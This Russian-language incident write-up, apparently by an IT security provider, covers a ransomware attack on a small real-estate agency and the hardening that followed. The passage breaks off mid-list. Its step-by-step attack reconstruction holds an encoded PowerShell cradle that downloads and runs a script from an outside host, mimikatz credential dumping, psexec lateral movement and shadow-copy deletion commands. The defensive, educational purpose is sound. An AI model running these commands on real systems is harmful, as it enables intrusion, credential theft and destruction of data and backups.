Директор агентства недвижимости позвонил в панике: вся база договоров и клиентов заблокирована, менеджеры сидят без работы, а сделки, которые должны были закрыться на этой неделе, зависли в воздухе. Обычный вторник превратился в девятидневный простой — бухгалтер утром не смогла открыть программу учёта сделок, вместо интерфейса система показывала требование заплатить за расшифровку файлов.
История рядовая — таких инцидентов у малого бизнеса по России и СНГ происходят сотни в месяц. Интересно другое: буквально через несколько месяцев после этого кейса похожий сценарий, только в масштабе целого государства, разыграла кибератака на Национальное агентство по кадастру и регистрации земли Румынии — платформа e-Terra встала на неделю, и в стране физически нельзя было ни купить, ни продать недвижимость. Архитектурная ошибка одна и та же, просто масштаб разный.
Где на самом деле была дыра
Аудит на месте занял час, чтобы понять картину целиком. Вся база сделок хранилась на одном обычном компьютере в кабинете директора — без резервных копий и без защиты, кроме бесплатного антивируса трёхлетней давности без обновлений сигнатур.
- Единственная копия базы — на одной рабочей станции, без бэкапа и версионирования
- Устаревший бесплатный антивирус без модуля anti-ransomware и без обновлений полгода
- Общий пароль на вход в систему, который не меняли после увольнений сотрудников
- Отсутствие разграничения доступа — любой сотрудник видел все сделки компании
- SMBv1 включён по умолчанию, шара с базой доступна всем компьютерам в локальной сети без ACL
Заражение пришло через письмо с поддельным счётом от «поставщика» — классический вектор, который срабатывает, когда некому проверить подозрительное вложение и нет sandbox-фильтрации почты.
Как это эксплуатируется
Ниже — типовая цепочка атаки для подобной инфраструктуры, воспроизведённая по логике реальных инцидентов такого класса (Phobos, LockBit, Makop и их клоны часто заходят именно так).
Шаг 1. Разведка периметра
nmap -sV -p- --open 203.0.113.10
PORT STATE SERVICE VERSION
25/tcp open smtp Exim smtpd
445/tcp open microsoft-ds Windows Server 2012 R2 (SMBv1 enabled)
3389/tcp open ms-wbt-server Microsoft Terminal Services
Уже на этом этапе видно два красных флага: SMBv1 включён (потенциально уязвим к EternalBlue, CVE-2017-0144) и RDP торчит наружу без NLA — классический вход для перебора или для BlueKeep (CVE-2019-0708).
Шаг 2. Фишинг с поддельным счётом
Вложение — .docm с макросом, который при включении содержимого разворачивает загрузчик:
powershell.exe -nop -w hidden -enc SQBFAFgAKAB...
# декодируется в
IEX(New-Object Net.WebClient).DownloadString('http://185.xx.xx.xx/update.ps1')
В логах это выглядит как Event ID 4688 (создание процесса powershell.exe с дочерним процессом WINWORD.EXE) — классический индикатор компрометации через макрос Office.
Шаг 3. Закрепление и сбор учётных данных
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 123456
User Name : admin
Domain : WORKGROUP
Password : Password123
Общий пароль, не менявшийся годами, — это ровно та ситуация, когда одна скомпрометированная учётка мимикатцем открывает доступ ко всем машинам в сети.
Шаг 4. Боковое перемещение по общему паролю
impacket-psexec 'WORKGROUP/admin:Password123@192.168.1.5'
[*] Requesting shares on 192.168.1.5.....
[*] Found writable share ADMIN$
[*] Uploading file...
[*] Opening SVCManager on 192.168.1.5.....
Microsoft Windows [Version 10.0.19045]
C:\Windows\system32>
Тем же способом атакующий проходит по всем машинам сети, где стоит один и тот же пароль — включая тот единственный компьютер с базой сделок.
Шаг 5. Доступ к шаре с базой и шифрование
smbclient //192.168.1.5/CRM_DATA -U admin
smb: \> dir
договоры_2026.db 12 583 264 blocks
клиенты.mdb 2 104 512 blocks
vssadmin.exe delete shadows /all /quiet
wbadmin delete catalog -quiet
Удаление теневых копий (VSS) — стандартный шаг перед шифрованием, чтобы жертва не смогла откатиться через «Предыдущие версии файлов». После этого по всем расшаренным дискам разворачивается шифровальщик, и на рабочем столе появляется README.txt со ссылкой на .onion-чат с требованием выкупа.
Полутехнические пруфы
- Порт 445/tcp открыт в локальной сети без сегментации, SMBv1 не отключён (типично для Windows Server 2012 R2 / Windows 7-10 без апдейтов)
- RDP 3389/tcp доступен без Network Level Authentication — риск CVE-2019-0708 (BlueKeep) и банального брутфорса
- В журнале безопасности массово фиксируются Event ID 4625 (неудачный логон) с интервалом в секунды — признак перебора пароля, за которым следует единичный 4624 (успешный вход) в нерабочее время
- Файлы базы данных переименованы с добавлением расширения вида
.locked,.phobosили похожего — типичный маркер конкретного семейства шифровальщика - Антивирус — бесплатная версия без модуля поведенческого анализа и без обновлений сигнатур более 180 дней, то есть эффективно не детектирует свежие сборки шифровальщиков
Что и почему сработало бы дальше
Шифрование — не конечная цель, а самый заметный этап атаки. Если бы злоумышленник действовал по актуальной схеме двойного вымогательства, до шифрования он бы:
- слил базу клиентов и договоров себе на сервер (эксфильтрация через rclone или curl на файлообменник) — это уже утечка персональных данных с потенциальным штрафом по 152-ФЗ;
- получил доступ к почте директора и, зная историю переписки с контрагентами, отправил бы поддельные реквизиты для оплаты сделки (классическая BEC-атака на завершающейся сделке);
- при общем пароле, использованном ещё и для банк-клиента или личного кабинета налоговой, попробовал бы credential stuffing по этим сервисам.
Ни один из этих сценариев не требует особой квалификации — весь набор инструментов (Cobalt Strike/Metasploit, mimikatz, impacket) свободно доступен и активно используется даже низкоквалифицированными группами по схеме RaaS (ransomware-as-a-service).
Сколько это стоило в деньгах
Агентство не могло оформить ни одной сделки девять дней подряд. За это время сорвались три готовые продажи — клиенты ушли к конкурентам, которые быстрее подготовили документы. Один упущенный объект в новостройке — это около 350 000 ₽ комиссии агентства. Восстановление истории звонков и переписки вручную заняло почти две недели работы менеджеров, которые в это время не продавали, а разгребали последствия.
Как закрыли
Первым делом — остановили распространение и изолировали заражённую машину от сети, дальше — системные изменения инфраструктуры.
- Настроили ежедневное автоматическое резервное копирование базы в Яндекс Cloud с историей версий:
rclone sync /data/crm ycloud:backup-crm --backup-dir=ycloud:backup-crm/$(date +%F) --log-file=/var/log/rclone.log - Отключили устаревший протокол SMBv1 и закрыли RDP от внешнего мира:
Доступ к RDP оставили только через VPN с включённой NLA.Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol netsh advfirewall firewall add rule name="Block RDP external" dir=in action=block protocol=TCP localport=3389 remoteip=any - Разграничили доступы: каждый менеджер видит только свои сделки, директор — всё; убрали общий пароль, ввели персональные учётные записи и обязательную дв
